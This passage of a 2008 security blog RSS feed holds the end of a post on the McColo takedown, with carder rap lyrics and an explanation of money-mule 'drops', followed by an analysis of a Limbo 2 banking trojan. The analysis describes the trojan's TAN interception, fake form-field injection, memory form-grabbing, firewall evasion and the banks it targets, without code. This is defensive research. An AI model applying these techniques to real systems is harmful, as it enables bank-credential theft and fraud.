gets heaps of cash&lt;br /&gt;He finds a guinea-pig "drop" who gets caught by police&lt;br /&gt;But all the leads are hidden smart so they fail to find anything&lt;br /&gt;&lt;br /&gt;Hey user, watch out! Or, next time your money won't get to the beneficiary&lt;br /&gt;Why? Because you're dealing with a pro who's breathing with Internet&lt;br /&gt;He knows thousands of tricks, he's cool with writing any software or crack..&lt;br /&gt;&lt;br /&gt;To get the money out of Internet he doesn't have to risk with a prison&lt;br /&gt;Moreover, he can live in a house that has no neighbors&lt;br /&gt;And his new BMW 7 is way better than his old bicycle&lt;br /&gt;His account has lots of zeroes that will stay there even if his "drops" will get caught&lt;br /&gt;&lt;br /&gt;We know one boy who was getting lots of cash by using WebMoney&lt;br /&gt;He started spending a lot living life of the rich&lt;br /&gt;From a humble guy he turned into a bighead&lt;br /&gt;Once he gained trust from the "carders" and his profit was stable&lt;br /&gt;While he was steadily sawing America with his virtual drill&lt;br /&gt;Jux decided that now he wants more wealth&lt;br /&gt;So, he sold his reputation off by stealing $50K from all the "carders" he knew&lt;br /&gt;Without caring for his own life or whether he can be buried for what he did&lt;br /&gt;So now we ask you, brother - where are you heading, what you gonna do now?&lt;br /&gt;Are you going to eat in the restaurants and celebrate till the rest of your life?&lt;br /&gt;&lt;br /&gt;Dollars, money - it's not what the real "carders" are living for&lt;br /&gt;Hey, you - step aside, watch out!&lt;br /&gt;We'll tear in pieces anyone who wants to steal from us&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;This track was named "About the carder Jux" and included into the album of one Russian rap group. You may listen to it &lt;a href="http://dl.256kbps.ru/ntawearbqw/n/ntl/2005-shag_v_storonu/9-pro_kardera_dzhaksa.mp3" target="_blank"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;For those who don't know, "drop" in the slang of the hackers is an important element of the money laundering schemes - it's a person who agrees to receive the illegal money transferred to his or her account with the purpose of withdrawing the cash and handling it back to the person who asked for such service. The "drop" normally receives commission. If arrested by police, the "drop" insists that he or she knows nothing about the crime and has only agreed to help for a small reward. "Carders" hire "drops" to accept and then withdraw cash produced by their criminal cyber activity, e.g. funds that the "carders" steal from the compromised banking accounts.&lt;br /&gt;&lt;br /&gt;Where did the "carders" host their exploits and malware? Where did they store data received from the malware that was implanted on the victims' computers? Where the spambots were operated from?&lt;br /&gt;&lt;br /&gt;That's right - they used the service that Nikolai provided to them. It's called collaboration.&lt;br /&gt;&lt;br /&gt;Just like in their rap anthem above, these guys had "all the leads hidden smart". Meanwhile, the security community was talking about McColo for years, drawing charts, staring at their fancy website with Cisco Systems and Hewlett-Packard indicated as the company’s partners, reading testimonials written by McColo's friends and evaluating the risk of being sued by a "legitimate business operating out of Delaware".&lt;br /&gt;&lt;br /&gt;While all that really mattered was to stand up and shut it down, like Security Fix did. Good lesson from Brian Krebs for all of us indeed..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7283598531036801098-7019874908112732916?l=blog.threatexpert.com' alt='' /&gt;&lt;/div&gt;</description><link>http://blog.threatexpert.com/2008/11/mccolo-who-was-behind-it.html</link><author>noreply@blogger.com (Sergei Shevchenko)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_teq8tr511YQ/SSFfYE3F3PI/AAAAAAAAAjg/J99HeAr2IRA/s72-c/1.jpg' height='72' width='72'/></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-7283598531036801098.post-880141571895173047</guid><pubDate>Thu, 13 Nov 2008 22:43:00 +0000</pubDate><atom:updated>2008-11-13T21:32:37.766-08:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>Limbo 2 RITLAB CODIGO MRSoft</category><title>One Tricky Banking Trojan</title><description>A routine inspection of ThreatExpert reports revealed a &lt;a href="http://www.threatexpert.com/reports.aspx?find=RITLAB." target="_blank"&gt;large number&lt;/a&gt; of submissions of a banking trojan that appears to be produced by the construction kit "Limbo 2".&lt;br /&gt;&lt;br /&gt;An analysis of this trojan reveals a few interesting techniques that are enlisted below.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;TAN Grabber&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Transaction authentication number (TAN) is used as a two-factor authentication. It's basically a single-use password required to authorize the online banking transaction.&lt;br /&gt;&lt;br /&gt;The bank normally generates a list of unique TAN numbers and handles it to the client. Any TAN from the list can be used only once. This way, it serves an additional security layer on top of traditional username/password authentication.&lt;br /&gt;&lt;br /&gt;TANs are commonly used by German banks where the lists normally contain 100 unique numbers.&lt;br /&gt;&lt;br /&gt;The banking trojan specifically attacks the clients of several online banking services that are known to rely on TAN. These banking services are registered on the following domains:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;gad.de&lt;/li&gt;&lt;br /&gt;&lt;li&gt;vr-networld-ebanking.de&lt;/li&gt;&lt;br /&gt;&lt;li&gt;finanzportal.fiducia.de&lt;/li&gt;&lt;br /&gt;&lt;li&gt;financepilot-trans.mlp.de&lt;/li&gt;&lt;br /&gt;&lt;li&gt;citibank.de&lt;/li&gt;&lt;br /&gt;&lt;li&gt;wuestenrot.de&lt;/li&gt;&lt;br /&gt;&lt;li&gt;norisbank.de&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;When the client enters a valid TAN number, the trojan intercepts that number and substitutes it with a random (incorrect) number that will be rejected by the bank. The contents of HTML page rendered by browser to the client is then filtered by the trojan so that the incorrect number is replaced again with the intercepted number - the user is shown that number in order to convince her that the number was entered correctly.&lt;br /&gt;&lt;br /&gt;The intercepted (correct) TAN along with the user's login details is then posted to the hacker's website.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;HTML Injection&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Some variants of this trojan inject fake fields into the online banking forms that the browser displays to the user. &lt;br /&gt;&lt;br /&gt;The additional fields are designed to collect details to help an attacker to impersonate the victim and/or compromise victim's account, such as credit card number, date of birth, and answers to the questions that are commonly asked during two-factor authentication.&lt;br /&gt;&lt;br /&gt;The image below demonstrates extra fields added to the known online banking services. All intercepted details are also delivered to the remote site.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_teq8tr511YQ/SRyxl770-nI/AAAAAAAAAh4/CEUF-J77Ho8/s1600-h/bankjet.gif" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 271px;" src="http://2.bp.blogspot.com/_teq8tr511YQ/SRyxl770-nI/AAAAAAAAAh4/CEUF-J77Ho8/s400/bankjet.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5268280929418541682" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Form Grabber&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Another interesting feature of this trojan is that it specifically targets several Australian financial institutions by inspecting the visited URL and the contents of the traffic by parsing POST requests and the returned HTML pages.&lt;br /&gt;&lt;br /&gt;If the trojan detects that the client interacts with a pre-determined Australian bank, it will engage several techniques in an attempt to compromise the user account, as indicated below.&lt;br /&gt;&lt;br /&gt;Firstly, the trojan seems to be able to easily compromise the "Scramble Pad" authentication employed by the &lt;a href="http://www.adelaidebank.com.au/" target="_blank"&gt;Adelaide Bank&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Here is the contents of memory that the trojan dynamically allocates on the heap of the browser process:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_teq8tr511YQ/SRy7dUymDwI/AAAAAAAAAiI/uloP-uxpByw/s1600-h/adbank.gif" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 64px;" src="http://2.bp.blogspot.com/_teq8tr511YQ/SRy7dUymDwI/AAAAAAAAAiI/uloP-uxpByw/s400/adbank.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5268291776588156674" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The contents of the memory dump above represents a filter that the trojan uses to recognise and target Adelaide Bank's online banking service - the image below shows the actual online banking login window and the source of HTML that contains the strings recognised by the trojan (highlighted in blue):&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_teq8tr511YQ/SR0G9tmHi1I/AAAAAAAAAjY/dCCfWyKRPGE/s1600-h/adbank2.gif" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 276px;" src="http://1.bp.blogspot.com/_teq8tr511YQ/SR0G9tmHi1I/AAAAAAAAAjY/dCCfWyKRPGE/s320/adbank2.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5268374796374608722" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;As soon as the user enters "Customer Number" and provides "Personal Access Code" by typing letters from the Scramble Pad, the trojan easily intercepts the entered details. Considering that the Scramble Pad itself is a plain ASCII text (highlighted in the picture above in red), the account details are compromised with no obstruction.&lt;br /&gt;&lt;br /&gt;Below is the actual contents of the trojan's heap memory once it intercepts the access code 12345 typed by using the Scramble Pad above as "GNDXT":&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_teq8tr511YQ/SRzEriKaCMI/AAAAAAAAAig/eToaU4p7MfE/s1600-h/adbank3.gif" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 101px;" src="http://3.bp.blogspot.com/_teq8tr511YQ/SRzEriKaCMI/AAAAAAAAAig/eToaU4p7MfE/s400/adbank3.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5268301916300511426" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;As seen in the picture, the trojan tags the intercepted details with 2 keywords: KEYLOGGED and KEYSREAD (presumably to reflect 2 different methods of grabbing the login form contents).&lt;br /&gt;&lt;br /&gt;Other Australian financial institutions exclusively targeted by this trojan are:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;Australian Central Credit Union&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Police &amp; Nurses Credit Society&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Citibank Australia&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Commonwealth Bank of Australia&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;This is evidenced with the following filters employed by the trojan:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_teq8tr511YQ/SRzIsDbxTmI/AAAAAAAAAio/C2UTGPN6w8E/s1600-h/filters.gif" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 153px;" src="http://4.bp.blogspot.com/_teq8tr511YQ/SRzIsDbxTmI/AAAAAAAAAio/C2UTGPN6w8E/s400/filters.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5268306323278220898" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_teq8tr511YQ/SRzOwhKPkHI/AAAAAAAAAi4/F738YxOXuY8/s1600-h/filters2.gif" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 276px;" src="http://4.bp.blogspot.com/_teq8tr511YQ/SRzOwhKPkHI/AAAAAAAAAi4/F738YxOXuY8/s400/filters2.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5268312997047013490" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;NOTE: The "three Personal Icons" filter above will recognise the ACCU's two-factor authentication that is based on personal icons.&lt;br /&gt;&lt;br /&gt;The trojan seems to be capable of intercepting data that is entered with the virtual keyboards too.&lt;br /&gt;&lt;br /&gt;For example, below is the login window of the &lt;a href="https://citibank.com.au/AUGCB/JSO/signon/DisplayUsernameSignon.do" target="_blank"&gt;Citibank Australia&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_teq8tr511YQ/SRzOGZNn7iI/AAAAAAAAAiw/mN-k0onZrUo/s1600-h/citi.gif" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 211px;" src="http://3.bp.blogspot.com/_teq8tr511YQ/SRzOGZNn7iI/AAAAAAAAAiw/mN-k0onZrUo/s320/citi.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5268312273359203874" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;During trojan analysis, there were fake details entered into the login form. Once specified, the memory contents of Internet Explorer was found to contain in plain text 37 instances of the User ID and 8 instances of the User Password - exactly as they were provided.&lt;br /&gt;&lt;br /&gt;An example below shows one such instance. Please note that while VICTIM_ID word was typed on the keyboard, VICTIM_PASSWORD word was entered by using the virtual keyboard window:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_teq8tr511YQ/SRzQCv12leI/AAAAAAAAAjA/H4phli9WG5I/s1600-h/citi2.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 191px;" src="http://3.bp.blogspot.com/_teq8tr511YQ/SRzQCv12leI/AAAAAAAAAjA/H4phli9WG5I/s400/citi2.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5268314409737295330" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;As see on the picture, the contents of memory is visible for the trojan in plain ASCII text - it does not need to install any hooks into the chain of the keystroke handlers, and thus, can't be prevented with the host intrusion prevention systems. &lt;br /&gt;&lt;br /&gt;Considering the intercepted data is then delivered via HTTP from the code running in the address space of Internet Explorer, the leakage of confidential data is transparent for the firewalls.&lt;br /&gt;&lt;br /&gt;Another example demonstrates how the trojan intercepts login details for Netbank - the online banking service of the Commonwealth Bank of Australia:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_teq8tr511YQ/SR0Bk9sESDI/AAAAAAAAAjQ/unMJQacoJc4/s1600-h/cba.gif" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 292px;" src="http://3.bp.blogspot.com/_teq8tr511YQ/SR0Bk9sESDI/AAAAAAAAAjQ/unMJQacoJc4/s320/cba.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5268368873639659570" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;As seen in the memory dump above, the trojan successfully intercepts fake login details (11220033, Victim_Password), tags them with the keywords KEYLOGGED and KEYSREAD, and encrypts them with XOR 0x0E in order to prepare the package for posting.&lt;br /&gt;&lt;br /&gt;Analysis of this trojan leaves mixed feelings about the banks and the way they implement some two-factor authentication schemes.&lt;br /&gt;&lt;br /&gt;What this trojan definitely proves is that current schemes employed by the online banking services need to be critically reviewed and significantly reinforced.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7283598531036801098-880141571895173047?l=blog.threatexpert.com' alt='' /&gt;&lt;/div&gt;</description><link>http://blog.threatexpert.com/2008/11/one-tricky-banking-trojan.html</link><author>noreply@blogger.com (Sergei Shevchenko)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_teq8tr511YQ/SRyxl770-nI/AAAAAAAAAh4/CEUF-J77Ho8/s72-c/bankjet.gif' height='72' width='72'/></item></channel></rss>